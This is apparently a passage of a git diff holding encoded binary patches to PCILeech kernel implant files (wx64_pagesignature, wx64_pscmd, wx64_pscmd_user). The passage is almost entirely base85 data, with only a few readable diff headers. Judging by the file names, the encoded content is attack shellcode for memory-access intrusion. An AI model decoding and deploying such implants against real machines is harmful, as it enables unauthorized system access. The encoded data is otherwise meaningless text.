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 delta 680 zcmXAmZ)j3c7>B)TB{Z5Pj75wI-4Es`7ubX)Slgx7nk2N5wFFlZGFAxNLRg@iUGj3d z%+07lN%kRJCH3q3?+Il9H!dtwv*O1(aro zg^neXdUz{IUA&FtpQIc#QKgG_onG0}u1d#a`-0N}ZB}(;>Rce8Y7cA8QdUibwPrQ= z*{#vJcWMei)hmV&Y^sSOI7o^M2?Q5OLK^gdIgr2tTX)T(p1>gdU=hSg!UB_$gWnL| zLWIB-cKurT6+#sv0{&q3;=??`Z-^+U17n~WpOuvH1lobyO66<$W#+f$D0rD{u$@5jaYUHh?^r00TCBL_DBVW3e8@&4V nUb)Zgm4}+W@~G7-e-4)BGQ)-iR1C8+L z_T=#B4L$H8a^jIX#@&;h87Hz%Z2+pCe2vkq{)|WW5s%IY4v)?P0guiK37^gag;0;) zjD;SJZzcd0`E-9g?)u!z)%yBz*Vjo8*v&n9cbx!=A9sB(Ki6ZfM{lY3ao5iatIyoo zEeRI>J}EaM;<)SYb89E~9(Vm8o@^9#+?Bb1YgX2ASN5O#?y??t<^FE5dG2vn{*y=Z z>T`~}3U@Z=ygu$KK6`q~`QxtAS_d|*IPNNMt8uvIxT~_(1yh6LuIjh_ZI2#z)lT$b zi9PPBKevCu;p48xJFaMU9CtMjNZF8o+|~Ngsl;c;UG49wJo|p!)mhB+Z~JjqcQZr2 z43FNjKc3y^y2U(t>wmmZ1-jCslfC)y|I%kZz0z}3K)&?sju!CjE|&1@u2%5vF4pku NejIyvvkOZg3jl|Nw88)Y delta 695 zcmXAmQD{<87{|TMkucbdBCMA#bRSH5u)&(p1gqWp3`Iv;l3Td)LB=W}0%4I(k-S_k z( zQL3>?sSe-j!yL)Yi`4PbO|zXcHnKC~u@5Bq1fHZ(!A$Z`Qcf7CHY(UIZR{LYrS-XGZO963 zRCVOel|Vq%4tAhG1vL@oOlt75M>8v*)D(c~Rt&|F%&LkaSVPSL05`9>5M%ETW#A%kCCx?I-l2cD;bL&bu1hBX z_T}wllcaRFGI|wTeUgp4sU~L5Umm;w&d)7QO@XDqFV}m)8(nmp zF{VkEegd`2YVBHDJ@)94emphZy{R%T@a(hD+n5i>!#m}#6V;W4k)ARAf4FQ3jsO4v diff --git a/pcileech_files/wx64_pagesignature.ksh b/pcileech_files/wx64_pagesignature.ksh index 102222df9b732db291a465acc15abc5abea219a5..3c6685bb0dc46c70ede3a9b3c124cb29e4573938 100644 GIT binary patch delta 452 zcmZn{`z>s1F8s!()S5SPMuCN^q;bj}y*cYWzpZG?zwO#yVFGcfq{Zf0Nss_bmt0W{3B`La0Y?#zK$AHxq!0eY!s$cYW^VYJL5<>+7Tk?B*W5yG{VbkGsB?pX)K# zqqo%ixa;SI)o1SPmIMobpOhOBaoqLyxwR8~kGuX4Pd17=?#kT1H7o15EBnuVcUh0S za(}njJomUO|H-3yImcavJDYP}A9od>Jw4_8@p@Njtpl4@9Cwws)i_*p+*MiYf~moA zSM}TewnvYMUmZxBa-QyO|+hhDUGNAJ6V{-C`cS^*>%{0t48ilfC)y|I%kZy>nDRp7iXF7VzvY mmhkN6u2%5vF4pkuejIyvas|5;?w8G`Ha5Tznw2YblA)+#fU|_JdG2C$+ zYWt%>4OS2iBJc;n8$k&}W-*q3SPErGKV;D&1HqzVeQ$Sge7^7JJ)Y;i=lxSVTG!fK zTRw5}+28W6V0)^w{Q*rstnE!jzZw@-hl-6gn|}YB@AaHcds?<@d~4CzH*sp;gjd+p zMe-)aK5tO0Y%NXlIvvUDS93e9E4hiNja!_4WZ?ONVRnWOar}89c~G$MNA<}w!hXJ_ zPYw(9d|sa%6PCgkNy$>BQlVSrDfDD#T`kKbb&6J!+C&@4KS?=lqI{d^xVE;fS(Wyu z4U0{7XtS#OZx8u=s&=yaG^N!<*t4j?%kGa9-mA$6Rjn96u&E}9U?(Z;iXb>ha*cyd zFar`e#kL%?sOMr3UT_XXC)XmAVuRlhRv-f48oPU^?=?aRq95E~4RbSDgkKOrPzQ!U zGhQnx(FkUVXlL)j=UV5H9FPf3IuXaU=w<1#Ob**VxRmAsj4d5V!1cprH5X)cP5(yW zLU5U?i$?(V@m0?{N%3lB%qmoTJno^qD{-m!$Yn4!_9Q$ofRO$DeANIhyqq5%1Wm2B z+)a`^n4-sqHT84|-KagK*3QS(w#OQG;8)|-lPXt4EBhd>Z@t*9ejvrGXH}w1TV(+G zf{El}=@71%85s*DY>&#Ojtmb>|AnLE~{Qlbkdj L<}$O(Mp6GC-ed`# diff --git a/pcileech_files/wx64_pscmd.ksh b/pcileech_files/wx64_pscmd.ksh index e53a3e1bd39dd0c79f016bbd65e9fe68b08dc4ae..95a3527c3c9bb9f66d32cc7ba967cf0c25780330 100644 GIT binary patch delta 3624 zcmY+{0dSM$9mnw`ZD}ZsMnTLFBw}=xI?Y6(Udxe4p7E3h4J$%Uiq=`ZoYpO;Wptyr zw1!8Ud(Bx53cJCEQ}22wyX#immBO*ORvwUw-Nt57HmmDFcI~uo-HA}hzE9%LEq84` z`M>Y`ywCf*zxR3HcQTNvUb$lKL{0A_Gwz%IurG4VcH5?VmgqmpOM@>hf8#e(3w=E= zw(h>`al5VXIk%wj{nXOJchmEM>z@x7U%OFSQ!+6&DH9W(>_b=EY|=V=|3JBCWT1TJ zz|iwQextaZ4bmOSO@9y1FT4s-jk}=P{(wbmbv5@td7Cl>z?!2hQfmc$yD`l#` zlO1W%_r;4xJ7sF?lop4Ntg-#<&=vV|X6nqENi7BsU%UM0S{!@f-(s#7L+>maKdi-Y z<(%PNTAcdxs*+o@7@7FwoTbH?rG5Ke(PH##b7sxaVl3bZ-5S&)+g*KeREvp!tX=s> zEhZcH4o}L|52kCalh%Bhil5J3#qMOXG%=9ddN!15@WyJb&8}MONq4Qa-LuYmvZB`d z+m?Z$^d~bH&5T^kOEYx#2yc{O1d)d^s?hp z3wP3aC%+aJj?>e!B*`yt;a7#U>LOa)oU3=Trq8Mi=d`$;AFNVU*O;rSbtQDW(JoX#;nt+wOX`{q4y&E0u92R^)ov&wrntuxqZHLXQwy8gtEOgFRNbc5Xlnb>T$u`K z)q}iYv-AK8d8N>*4>6e34x^ygPc36=84gMfq9$(@ojGP|$K$3rlrQ=y4kPO+mtCt< z$Yx6hwHo2uTcObzBab=GQDn0*=4y;@x5~6=l|?s7i*8MzLboQ7)ozY`3NbRXv^sB) zILOFM+idYKhsJ!hm~*L$QOFy~Y2`%q&OSOb+l(JuY2`wR!PsW4<{?hkkXCLatwEM9 zM9B#GQ1sH4jJlB5DCXXzRfSnEF%j14W+UtGTC2DZ`j1`QrPb}|Qn@*wRcNUFx!GFP zpsQu-M_T!j)c#?ug6N6Mz4Nt_rk09LXca=*f9f%Mz&&VTrVR?Wzz{bO3iP*3eQKhUZLX@7RHR;}oVWm%4{ z4RLj%c4WO{(XAcGT&aW*Wydcumd~ObS1ln#=GrBMD1KI24O;Dn-h8qZZli$v|u*Cr|mp^^0_TO2^C4PGB1%-53bgb?we3mFuySazHcA|g{x z2;;D$&1^D+iufah{NGw~(1Z~2Ar&L&P5M9xQANHBqevzjyo3wkw(5SAJnj0mWydFYm*0ZFG5Tby!-bn~i$45DazrrlFb$m<+Q7&F;dgz1IZ(F}3 zgeX7JsVcP18RXb&(9vKeOZ{k^X_OG6Ol@jCAw*GGG)xFlC>3Hn!pNViuOftqptPGJmYF7tUmeVNkWJchdOCy58^{W_91m& zj`+Naa?(0M2vK&kN%j6hjR5x`uQUlbfChc{4-i6>pUTx?R7gbz6%K9?*<{?r;uvf( z_aQZePGsM|Ob8JH$PhxawAm~jLG}6d&Y-%Osg0t$T=Gsrhyu>7WrPqNWIzZZG6O;g z(fAs3I;ZmM$rK@UF#oNOnqE&+Bt2|mEBfzQEJl8FM^jD|zQM$2Hexp&gb3kC~;i1Z9y6lR%XGwwa+Ojjk}cn?iR- z&6uB$LzdFuG;+z*MiN*|+HxCROoND0BMC(Gie_e`)ZGy#KbKL^%-!=48_g!6{AJfVEpnS4y6rwKik^Gp(MPo?{o=@9O0<~uc~$RTEy|C-^}S{- z<|Y%(<62z((_KyP>bSUOY3A46S}a~!G0>*P^-G8E;DP!ZAKbI@EiEb^3>9zD;?}*- z?HkZyS>LIfI<;64ZtD5I7S$iW{oq+GR{hm`_H!*(&%fi+Gg_=!{;fID|9?NZfnI*~ We!@WU`>R)!S^x8n(i>T{yXZfue<8I1 delta 4463 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 diff --git a/pcileech_files/wx64_pscmd_user.ksh b/pcileech_files/wx64_pscmd_user.ksh index 22000c962f03819db1af0ea88b85fc7aae64e59a..fe610accd4c7be1b96167933206d16e93f21d0c2 100644 GIT binary patch delta 3624 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 Z^7Ho-28!RGzoJb0pLdj=`gv^y{{g_fA}0U< delta 4463 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 